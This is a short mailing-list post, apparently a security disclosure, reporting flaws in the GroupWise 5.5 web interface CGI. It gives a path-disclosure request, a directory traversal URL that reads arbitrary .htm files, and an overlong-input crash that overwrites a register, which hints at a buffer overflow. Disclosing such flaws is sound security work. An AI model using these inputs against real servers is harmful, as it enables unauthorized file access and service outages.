Re: Groupwise Web Interface

[afrith () IBL BM (Andrew Frith)]

Setup:
NT 4, SP4, IIS 4
Netware 4.11, SP7a, GW 5.5 SP2 - Internet Agent & Web access NLM

1.  Web server path
http://server/cgi-bin/GW5/GWWEB.EXE?HELP=bad-request
returns:
Could not find file C:\<web server
root>\cgi-bin\GW5\US\HTML3\HELP\BAD-REQUEST.HTM

2.  Read files
Using the format
http://server/cgi-bin/GW5/GWWEB.EXE?HELP=../../../../../index I can read any
files that the web service account has read access to & that end in .htm or
.html on the drive, not just in the web areas.

3.  DOS?
Sending <A HREF="http://server/cgi-bin/GW5/GWWEB.EXE?<tested">http://server/cgi-bin/GW5/GWWEB.EXE?<tested</A> with 
minimum of 512
characters> will cause an abend in GWINTER.NLM (See Break 1 below).  The
server appears to function normally.  Trying to shut things down
however......  Upon shutting down the Internet agent we then get another
abend, again in GWINTER.NLM (See Break 2 below).  The Internet agent will
shut down.  The web access will hang, until the server is downed.  The NT
box is unaffected by this.

In the first abend GWINTER blows up.  Also on the stack is GWENN2.NLM.  Not
much there.

In the second abend GWINTER goes boom again.  Also on the stack is
GWCMC.NLM.  What is a bit more interesting is that EBX = 61616161, or aaaa,
what I was using on the command line.  This string is also in the stack
several times.

I have been able to reproduce the above consistently.
